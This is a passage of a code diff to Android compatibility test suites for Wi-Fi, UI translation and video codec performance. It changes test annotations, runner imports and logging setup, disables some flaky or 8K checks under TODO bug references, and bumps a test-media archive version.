-            assertEquals(INVALID_NETWORK_ID, mWifiManager.addNetwork(wifiConfiguration));
-
             // Now configure it correctly with a Root CA cert and domain name
             wifiConfiguration.enterpriseConfig.setCaCertificate(FakeKeys.CA_CERT0);
             wifiConfiguration.enterpriseConfig.setAltSubjectMatch(TEST_DOM_SUBJECT_MATCH);
@@ -4304,13 +4290,6 @@
             // Verify that the update API accepts configurations configured securely
             wifiConfiguration.networkId = networkId;
             assertEquals(networkId, mWifiManager.updateNetwork(wifiConfiguration));
-
-            // Now clear the security configuration
-            wifiConfiguration.enterpriseConfig.setCaCertificate(null);
-            wifiConfiguration.enterpriseConfig.setAltSubjectMatch(null);
-
-            // Verify that the update API rejects insecure configurations
-            assertEquals(INVALID_NETWORK_ID, mWifiManager.updateNetwork(wifiConfiguration));
         } finally {
             if (networkId != INVALID_NETWORK_ID) {
                 // Clean up the previously added network
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
index 0d00c1b..600a545 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
@@ -44,10 +44,10 @@
 import android.support.test.uiautomator.UiDevice;
 import android.util.Pair;
 
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.LargeTest;
 import androidx.test.filters.SdkSuppress;
-import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.PollingCheck;
@@ -83,7 +83,7 @@
  * Assumes that all the saved networks is either open/WPA1/WPA2/WPA3 authenticated network.
  */
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
-@SmallTest
+@LargeTest
 @RunWith(AndroidJUnit4.class)
 public class WifiNetworkSpecifierTest extends WifiJUnit4TestBase {
     private static final String TAG = "WifiNetworkSpecifierTest";
@@ -184,6 +184,7 @@
     private static boolean sWasVerboseLoggingEnabled;
     private static boolean sWasScanThrottleEnabled;
     private static WifiConfiguration sTestNetwork;
+    private static boolean sShouldRunTest = false;
 
     private Context mContext;
     private WifiManager mWifiManager;
@@ -199,6 +200,7 @@
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
         // skip the test if WiFi is not supported
         if (!WifiFeature.isWifiSupported(context)) return;
+        sShouldRunTest = true;
 
         WifiManager wifiManager = context.getSystemService(WifiManager.class);
         assertThat(wifiManager).isNotNull();
@@ -251,9 +253,9 @@
 
     @AfterClass
     public static void tearDownClass() throws Exception {
-        Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        if (!WifiFeature.isWifiSupported(context)) return;
+        if (!sShouldRunTest) return;
 
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         WifiManager wifiManager = context.getSystemService(WifiManager.class);
         assertThat(wifiManager).isNotNull();
 
@@ -272,6 +274,7 @@
 
     @Before
     public void setUp() throws Exception {
+        assumeTrue(sShouldRunTest);
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
         mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
         mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
@@ -302,6 +305,7 @@
 
     @After
     public void tearDown() throws Exception {
+        if (!sShouldRunTest) return;
         // If there is failure, ensure we unregister the previous request.
         if (mNrNetworkCallback != null) {
             mConnectivityManager.unregisterNetworkCallback(mNrNetworkCallback);
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
index 82f84a3..5e54e9b 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
@@ -50,10 +50,10 @@
 import android.support.test.uiautomator.UiDevice;
 import android.telephony.TelephonyManager;
 
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.LargeTest;
 import androidx.test.filters.SdkSuppress;
-import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.PollingCheck;
@@ -82,7 +82,7 @@
 import java.util.concurrent.ScheduledExecutorService;
 
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
-@SmallTest
+@LargeTest
 @RunWith(AndroidJUnit4.class)
 public class WifiNetworkSuggestionTest extends WifiJUnit4TestBase {
     private static final String TAG = "WifiNetworkSuggestionTest";
@@ -97,6 +97,7 @@
     private static boolean sWasVerboseLoggingEnabled;
     private static boolean sWasScanThrottleEnabled;
     private static boolean sWasWifiEnabled;
+    private static boolean sShouldRunTest = false;
 
     private static Context sContext;
     private static WifiManager sWifiManager;
@@ -120,6 +121,7 @@
         if (!sContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION)) return;
         // skip if the location is disabled
         if (!sContext.getSystemService(LocationManager.class).isLocationEnabled()) return;
+        sShouldRunTest = true;
 
         sWifiManager = sContext.getSystemService(WifiManager.class);
         assertThat(sWifiManager).isNotNull();
@@ -172,7 +174,7 @@
 
     @AfterClass
     public static void tearDownClass() throws Exception {
-        if (!WifiFeature.isWifiSupported(sContext)) return;
+        if (!sShouldRunTest) return;
 
         ShellIdentityUtils.invokeWithShellPermissions(
                 () -> sWifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled));
@@ -192,6 +194,7 @@
 
     @Before
     public void setUp() throws Exception {
+        assumeTrue(sShouldRunTest);
         mExecutorService = Executors.newSingleThreadScheduledExecutor();
         // turn screen on
         sTestHelper.turnScreenOn();
@@ -215,6 +218,7 @@
 
     @After
     public void tearDown() throws Exception {
+        if (!sShouldRunTest) return;
         // Release the requests after the test.
         if (sNsNetworkCallback != null) {
             sConnectivityManager.unregisterNetworkCallback(sNsNetworkCallback);
diff --git a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/DeviceWiphyCapabilitiesTest.java b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/DeviceWiphyCapabilitiesTest.java
index d8f5e57..eed9e6e 100644
--- a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/DeviceWiphyCapabilitiesTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/DeviceWiphyCapabilitiesTest.java
@@ -26,9 +26,9 @@
 import android.net.wifi.nl80211.DeviceWiphyCapabilities;
 import android.os.Parcel;
 
+import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/NativeScanResultTest.java b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/NativeScanResultTest.java
index 56bc79d..5eb75d9 100644
--- a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/NativeScanResultTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/NativeScanResultTest.java
@@ -24,9 +24,9 @@
 import android.net.wifi.cts.WifiFeature;
 import android.net.wifi.nl80211.NativeScanResult;
 
+import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/NativeWifiClientTest.java b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/NativeWifiClientTest.java
index 3149b54..3015f99 100644
--- a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/NativeWifiClientTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/NativeWifiClientTest.java
@@ -26,9 +26,9 @@
 import android.net.wifi.nl80211.NativeWifiClient;
 import android.os.Parcel;
 
+import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/PnoNetworkTest.java b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/PnoNetworkTest.java
index f3a8f05..b7e8237 100644
--- a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/PnoNetworkTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/PnoNetworkTest.java
@@ -25,9 +25,9 @@
 import android.net.wifi.nl80211.PnoNetwork;
 import android.os.Parcel;
 
+import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/PnoSettingsTest.java b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/PnoSettingsTest.java
index 59f5d99..5549c58 100644
--- a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/PnoSettingsTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/PnoSettingsTest.java
@@ -26,9 +26,9 @@
 import android.net.wifi.nl80211.PnoSettings;
 import android.os.Parcel;
 
+import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/RadioChainInfoTest.java b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/RadioChainInfoTest.java
index 0a76bdb..1810721 100644
--- a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/RadioChainInfoTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/RadioChainInfoTest.java
@@ -25,9 +25,9 @@
 import android.net.wifi.nl80211.RadioChainInfo;
 import android.os.Parcel;
 
+import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java
index 5c7e8d3..79defe2 100644
--- a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java
@@ -31,10 +31,10 @@
 import android.os.Build;
 import android.platform.test.annotations.AppModeFull;
 
+import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SdkSuppress;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/wifi/src/android/net/wifi/p2p/cts/WifiP2pWfdInfoTest.java b/tests/tests/wifi/src/android/net/wifi/p2p/cts/WifiP2pWfdInfoTest.java
index 13c8a90..738202a 100644
--- a/tests/tests/wifi/src/android/net/wifi/p2p/cts/WifiP2pWfdInfoTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/p2p/cts/WifiP2pWfdInfoTest.java
@@ -27,10 +27,10 @@
 import android.net.wifi.p2p.WifiP2pWfdInfo;
 import android.os.Build;
 
+import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SdkSuppress;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
index 5a3730a..c69fd7c 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
@@ -32,6 +32,7 @@
 import android.os.HandlerExecutor;
 import android.os.HandlerThread;
 
+import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
 import java.util.List;
@@ -68,6 +69,8 @@
 
     private final HandlerThread mHandlerThread = new HandlerThread("SingleDeviceTest");
     protected final Executor mExecutor;
+    private Boolean mWasVerboseLoggingEnabled;
+
     {
         mHandlerThread.start();
         mExecutor = new HandlerExecutor(new Handler(mHandlerThread.getLooper()));
@@ -110,6 +113,13 @@
 
         mWifiManager = (WifiManager) getContext().getSystemService(Context.WIFI_SERVICE);
         assertNotNull("Wi-Fi Manager", mWifiManager);
+
+        // turn on verbose logging for tests
+        mWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.isVerboseLoggingEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.setVerboseLoggingEnabled(true));
+
         mWifiLock = mWifiManager.createWifiLock(TAG);
         mWifiLock.acquire();
         if (!mWifiManager.isWifiEnabled()) {
@@ -136,6 +146,9 @@
             return;
         }
 
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.setVerboseLoggingEnabled(mWasVerboseLoggingEnabled));
+
         super.tearDown();
     }
 
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
index fca5cbc..a8866f2 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -571,54 +571,55 @@
                 ResultType.NEUTRAL, ResultUnit.NONE);
         reportLog.submit();
 
-        // Analyze results
-        assertTrue("Wi-Fi RTT failure rate exceeds threshold: FAIL=" + numFailures
-                        + ", ITERATIONS="
-                        + NUM_OF_RTT_ITERATIONS + ", AP RSSI=" + testAp.level
-                        + ", AP SSID=" + testAp.SSID,
-                numFailures <= NUM_OF_RTT_ITERATIONS * MAX_NON11MC_FAILURE_RATE_PERCENT / 100);
+        /** TODO(b/192909380): enable the performance verification after device fix.
+            // Analyze results
+            assertTrue("Wi-Fi RTT failure rate exceeds threshold: FAIL=" + numFailures
+                            + ", ITERATIONS="
+                            + NUM_OF_RTT_ITERATIONS + ", AP RSSI=" + testAp.level
+                            + ", AP SSID=" + testAp.SSID,
+                    numFailures <= NUM_OF_RTT_ITERATIONS * MAX_NON11MC_FAILURE_RATE_PERCENT / 100);
 
-        if (numFailures != NUM_OF_RTT_ITERATIONS) {
-            // Calculate an initial average using all measurements to determine distance outliers
-            double distanceAvg = (double) distanceSum / (NUM_OF_RTT_ITERATIONS - numFailures);
-            // Now figure out the distance outliers and mark them in the distance inclusion map
-            int validDistances = 0;
-            for (int i = 0; i < (NUM_OF_RTT_ITERATIONS - numFailures); i++) {
-                if (distanceMms[i] - MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM < distanceAvg) {
-                    // Distances that are in range for the distribution are included in the map
-                    distanceInclusionMap[i] = true;
-                    validDistances++;
-                } else {
-                    // Distances that are out of range for the distribution are excluded in the map
-                    distanceInclusionMap[i] = false;
+            if (numFailures != NUM_OF_RTT_ITERATIONS) {
+                // Calculate an initial average using all measurements to determine distance outliers
+                double distanceAvg = (double) distanceSum / (NUM_OF_RTT_ITERATIONS - numFailures);
+                // Now figure out the distance outliers and mark them in the distance inclusion map
+                int validDistances = 0;
+                for (int i = 0; i < (NUM_OF_RTT_ITERATIONS - numFailures); i++) {
+                    if (distanceMms[i] - MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM < distanceAvg) {
+                        // Distances that are in range for the distribution are included in the map
+                        distanceInclusionMap[i] = true;
+                        validDistances++;
+                    } else {
+                        // Distances that are out of range for the distribution are excluded in the map
+                        distanceInclusionMap[i] = false;
+                    }
                 }
-            }
 
-            assertTrue("After fails+outlier removal greater that 50% distances must remain: " +
-                    NUM_OF_RTT_ITERATIONS / 2, validDistances > NUM_OF_RTT_ITERATIONS / 2);
+                assertTrue("After fails+outlier removal greater that 50% distances must remain: " +
+                        NUM_OF_RTT_ITERATIONS / 2, validDistances > NUM_OF_RTT_ITERATIONS / 2);
 
-            // Remove the distance outliers and find the new average, min and max.
-            distanceSum = 0;
-            distanceMax = Integer.MIN_VALUE;
-            distanceMin = Integer.MAX_VALUE;
-            for (int i = 0; i < (NUM_OF_RTT_ITERATIONS - numFailures); i++) {
-                if (distanceInclusionMap[i]) {
-                    distanceSum += distanceMms[i];
-                    distanceMin = Math.min(distanceMin, distanceMms[i]);
-                    distanceMax = Math.max(distanceMax, distanceMms[i]);
+                // Remove the distance outliers and find the new average, min and max.
+                distanceSum = 0;
+                distanceMax = Integer.MIN_VALUE;
+                distanceMin = Integer.MAX_VALUE;
+                for (int i = 0; i < (NUM_OF_RTT_ITERATIONS - numFailures); i++) {
+                    if (distanceInclusionMap[i]) {
+                        distanceSum += distanceMms[i];
+                        distanceMin = Math.min(distanceMin, distanceMms[i]);
+                        distanceMax = Math.max(distanceMax, distanceMms[i]);
+                    }
                 }
-            }
-            distanceAvg = (double) distanceSum / validDistances;
-            assertTrue("Wi-Fi RTT: Variation (max direction) exceeds threshold, Variation ="
-                            + (distanceMax - distanceAvg),
-                    (distanceMax - distanceAvg) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
-            assertTrue("Wi-Fi RTT: Variation (min direction) exceeds threshold, Variation ="
-                            + (distanceAvg - distanceMin),
-                    (distanceAvg - distanceMin) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
-            for (int i = 0; i < numGoodResults; ++i) {
-                assertNotSame("Number of attempted measurements is 0", 0, numAttempted[i]);
-                assertNotSame("Number of successful measurements is 0", 0, numSuccessful[i]);
-            }
-        }
+                distanceAvg = (double) distanceSum / validDistances;
+                assertTrue("Wi-Fi RTT: Variation (max direction) exceeds threshold, Variation ="
+                                + (distanceMax - distanceAvg),
+                        (distanceMax - distanceAvg) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
+                assertTrue("Wi-Fi RTT: Variation (min direction) exceeds threshold, Variation ="
+                                + (distanceAvg - distanceMin),
+                        (distanceAvg - distanceMin) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
+                for (int i = 0; i < numGoodResults; ++i) {
+                    assertNotSame("Number of attempted measurements is 0", 0, numAttempted[i]);
+                    assertNotSame("Number of successful measurements is 0", 0, numSuccessful[i]);
+                }
+         */
     }
 }
diff --git a/tests/translation/src/android/translation/cts/Helper.java b/tests/translation/src/android/translation/cts/Helper.java
index 7d395ef..12e4e66 100644
--- a/tests/translation/src/android/translation/cts/Helper.java
+++ b/tests/translation/src/android/translation/cts/Helper.java
@@ -58,6 +58,7 @@
     public static final String EXTRA_VERIFY_RESULT = "verify_result";
 
     public static final String CUSTOM_TRANSLATION_ID_MY_TAG = "myTag";
+    private static final String LOG_TAG = "log.tag.UiTranslation";
 
     /**
      * Sets the translation service temporarily.
@@ -145,4 +146,24 @@
                         Until.findObject(By.res(resourcePackage, resourceId)), 5_000L);
         return foundObj;
     }
+
+    /**
+     * Enable DEBUG log and returns the original log level value.
+     */
+    public static String enableDebugLog() {
+        String originalValue = System.getProperty(LOG_TAG, "");
+        System.setProperty(LOG_TAG, "DEBUG");
+        Log.d(TAG, "enableDebugLog(), original value = " + originalValue);
+        return originalValue;
+    }
+
+    /**
+     * Disable debug log.
+     *
+     * @param level the log level. The value can be DEBUG, INFO, VERBOSE or empty if not set.
+     */
+    public static void disableDebugLog(String level) {
+        Log.d(TAG, "disableDebugLog(), set level  " + level);
+        System.setProperty(LOG_TAG, level);
+    }
 }
\ No newline at end of file
diff --git a/tests/translation/src/android/translation/cts/TranslationManagerTest.java b/tests/translation/src/android/translation/cts/TranslationManagerTest.java
index c7eecbe..128f5a8 100644
--- a/tests/translation/src/android/translation/cts/TranslationManagerTest.java
+++ b/tests/translation/src/android/translation/cts/TranslationManagerTest.java
@@ -50,6 +50,7 @@
 import com.android.compatibility.common.util.RequiredServiceRule;
 
 import org.junit.After;
+import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
 import org.junit.Rule;
@@ -90,10 +91,18 @@
     private static Context sContext;
     private static CtsTranslationService.TranslationReplier sTranslationReplier;
 
+    private static String sOriginalLogTag;
+
     @BeforeClass
     public static void oneTimeSetup() {
         sTranslationReplier = CtsTranslationService.getTranslationReplier();
         sContext = ApplicationProvider.getApplicationContext();
+        sOriginalLogTag = Helper.enableDebugLog();
+    }
+
+    @AfterClass
+    public static void oneTimeReset() {
+        Helper.disableDebugLog(sOriginalLogTag);
     }
 
     @Before
diff --git a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
index 3614faf..477c1df 100644
--- a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
+++ b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
@@ -72,6 +72,7 @@
 import androidx.lifecycle.Lifecycle;
 import androidx.test.core.app.ActivityScenario;
 import androidx.test.core.app.ApplicationProvider;
+import androidx.test.filters.FlakyTest;
 import androidx.test.runner.AndroidJUnit4;
 import androidx.test.uiautomator.UiObject2;
 
@@ -130,6 +131,7 @@
     private ResponseNotSetTextView mResponseNotSetTextView;
     private CustomTextView mCustomTextView;
     private TextView mTextView;
+    private static String sOriginalLogTag;
 
     @Rule
     public final RequiredServiceRule mContentCaptureServiceRule =
@@ -143,6 +145,7 @@
     public static void oneTimeSetup() {
         sContext = ApplicationProvider.getApplicationContext();
         sTranslationReplier = CtsTranslationService.getTranslationReplier();
+        sOriginalLogTag = Helper.enableDebugLog();
 
         Helper.allowSelfForContentCapture(sContext);
         Helper.setDefaultContentCaptureServiceEnabled(/* enabled= */ false);
@@ -152,6 +155,7 @@
     public static void oneTimeReset() {
         Helper.unAllowSelfForContentCapture(sContext);
         Helper.setDefaultContentCaptureServiceEnabled(/* enabled= */ true);
+        Helper.disableDebugLog(sOriginalLogTag);
     }
 
     @Before
@@ -282,6 +286,7 @@
     }
 
     @Test
+    @FlakyTest(bugId = 192418800)
     public void testUiTranslation_ViewTranslationCallback_paddingText() throws Throwable {
         final Pair<List<AutofillId>, ContentCaptureContext> result =
                 enableServicesAndStartActivityForTranslation();
@@ -434,6 +439,8 @@
                     onFinishIntent.getBooleanExtra(EXTRA_VERIFY_RESULT, true);
             assertThat(onFinishVerifyResult).isFalse();
             onFinishResultReceiver.unregisterQuietly();
+
+            // TODO(b/191417938): add tests for the Activity destroyed for IME package callback
         }
     }
 
@@ -457,8 +464,23 @@
 
         startUiTranslation(/* shouldPadContent */ false, views, contentCaptureContext);
 
-        Mockito.verify(mockCallback, Mockito.never())
+        // TODO(b/191417938): add tests for the Activity isn't the same package of the
+        //  registered callback app
+        Mockito.verify(mockCallback, Mockito.times(1))
                 .onStarted(any(ULocale.class), any(ULocale.class));
+
+        finishUiTranslation(contentCaptureContext);
+
+        Mockito.verify(mockCallback, Mockito.times(1))
+                .onFinished();
+
+        // Make sure onFinished will not be called twice.
+        mActivityScenario.moveToState(Lifecycle.State.DESTROYED);
+        mActivityScenario = null;
+        Mockito.verify(mockCallback, Mockito.times(1))
+                .onFinished();
+
+        // TODO(b/191417938): add a test to verify startUiTranslation + Activity destroyed.
     }
 
     @Test
@@ -561,6 +583,7 @@
     }
 
     @Test
+    @FlakyTest(bugId = 192418800)
     public void testUiTranslation_customTextView() throws Throwable {
         // Enable CTS ContentCaptureService
         CtsContentCaptureService contentcaptureService = enableContentCaptureService();
diff --git a/tests/video/AndroidTest.xml b/tests/video/AndroidTest.xml
index d99ccc1..b498a06 100644
--- a/tests/video/AndroidTest.xml
+++ b/tests/video/AndroidTest.xml
@@ -26,7 +26,7 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
-        <option name="media-folder-name" value="CtsVideoTestCases-1.1" />
+        <option name="media-folder-name" value="CtsVideoTestCases-1.2" />
         <option name="dynamic-config-module" value="CtsVideoTestCases" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/video/DynamicConfig.xml b/tests/video/DynamicConfig.xml
index 1bf1981..015c3ac 100644
--- a/tests/video/DynamicConfig.xml
+++ b/tests/video/DynamicConfig.xml
@@ -1,5 +1,5 @@
 <dynamicConfig>
     <entry key="media_files_url">
-      <value>https://storage.googleapis.com/android_media/cts/tests/video/CtsVideoTestCases-1.1.zip</value>
+      <value>https://storage.googleapis.com/android_media/cts/tests/video/CtsVideoTestCases-1.2.zip</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/video/README.md b/tests/video/README.md
index f1c9dfe..b7ef16d 100644
--- a/tests/video/README.md
+++ b/tests/video/README.md
@@ -3,7 +3,7 @@
 1. Testing video encoder/decoder performance by running encoding/decoding without displaying the raw data.
 2. Testing key operating rate for Hardware video encoder/decoder.
 
-The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/video/CtsVideoTestCases-1.1.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
+The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/video/CtsVideoTestCases-1.2.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
 
 ### Commands
 ```sh
diff --git a/tests/video/copy_media.sh b/tests/video/copy_media.sh
index 86be1e7..784913a 100644
--- a/tests/video/copy_media.sh
+++ b/tests/video/copy_media.sh
@@ -17,7 +17,7 @@
 ## script to install cts video test files manually
 
 adbOptions=" "
-resLabel=CtsVideoTestCases-1.1
+resLabel=CtsVideoTestCases-1.2
 srcDir="/tmp/$resLabel"
 tgtDir="/sdcard/test"
 usage="Usage: $0 [-h] [-s serial]"
diff --git a/tests/video/src/android/video/cts/CodecDecoderPerformanceTest.java b/tests/video/src/android/video/cts/CodecDecoderPerformanceTest.java
index 6daebf4..93c4431 100644
--- a/tests/video/src/android/video/cts/CodecDecoderPerformanceTest.java
+++ b/tests/video/src/android/video/cts/CodecDecoderPerformanceTest.java
@@ -16,16 +16,11 @@
 
 package android.video.cts;
 
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
 import android.media.MediaFormat;
 import android.util.Log;
-import android.view.Surface;
 
 import androidx.test.filters.LargeTest;
-import androidx.test.rule.ActivityTestRule;
 
-import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -35,17 +30,11 @@
 import java.util.Collection;
 import java.util.List;
 
-import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
 @RunWith(Parameterized.class)
-public class CodecDecoderPerformanceTest extends CodecPerformanceTestBase {
+public class CodecDecoderPerformanceTest extends CodecDecoderPerformanceTestBase {
     private static final String LOG_TAG = CodecDecoderPerformanceTest.class.getSimpleName();
-    private Surface mSurface;
-
-    @Rule
-    public ActivityTestRule<CodecTestActivity> mActivityRule =
-            new ActivityTestRule<>(CodecTestActivity.class);
 
     public CodecDecoderPerformanceTest(String decoderName, String testFile, int keyPriority,
             float scalingFactor) {
@@ -66,7 +55,8 @@
                 "crowd_run_1280x720_30fps_hevc.mp4",
                 "crowd_run_1920x1080_30fps_hevc.mp4",
                 "crowd_run_3840x2160_30fps_hevc.mp4",
-                "crowd_run_7680x4320_30fps_hevc.mp4",
+                // TODO (b/194721211) Enable 8k tests
+                //"crowd_run_7680x4320_30fps_hevc.mp4",
                 // VP8
                 "crowd_run_720x480_30fps_vp8.webm",
                 "crowd_run_1280x720_30fps_vp8.webm",
@@ -77,19 +67,22 @@
                 "crowd_run_1280x720_30fps_vp9.webm",
                 "crowd_run_1920x1080_30fps_vp9.webm",
                 "crowd_run_3840x2160_30fps_vp9.webm",
-                "crowd_run_7680x4320_30fps_vp9.webm",
+                // TODO (b/194721211) Enable 8k tests
+                //"crowd_run_7680x4320_30fps_vp9.webm",
                 // AV1
                 "crowd_run_720x480_30fps_av1.mp4",
                 "crowd_run_1280x720_30fps_av1.mp4",
                 "crowd_run_1920x1080_30fps_av1.mp4",
                 "crowd_run_3840x2160_30fps_av1.mp4",
-                "crowd_run_7680x4320_30fps_av1.mp4",
+                // TODO (b/194721211) Enable 8k tests
+                //"crowd_run_7680x4320_30fps_av1.mp4",
                 // MPEG-2
                 "crowd_run_720x480_30fps_mpeg2.mp4",
                 "crowd_run_1280x720_30fps_mpeg2.mp4",
                 "crowd_run_1920x1080_30fps_mpeg2.mp4",
                 "crowd_run_3840x2160_30fps_mpeg2.mp4",
-                "crowd_run_7680x4320_30fps_mpeg2.mp4",
+                // TODO (b/194721211) Enable 8k tests
+                //"crowd_run_7680x4320_30fps_mpeg2.mp4",
         };
         // Prepares the params list combining with supported Hardware decoders, key priority
         // and scaling factor.
@@ -121,64 +114,20 @@
         return argsList;
     }
 
-    private void setUpFormat(MediaFormat format) throws Exception {
-        mDecoderFormat = new MediaFormat(format);
-        mDecoderFormat.setInteger(MediaFormat.KEY_PRIORITY, mKeyPriority);
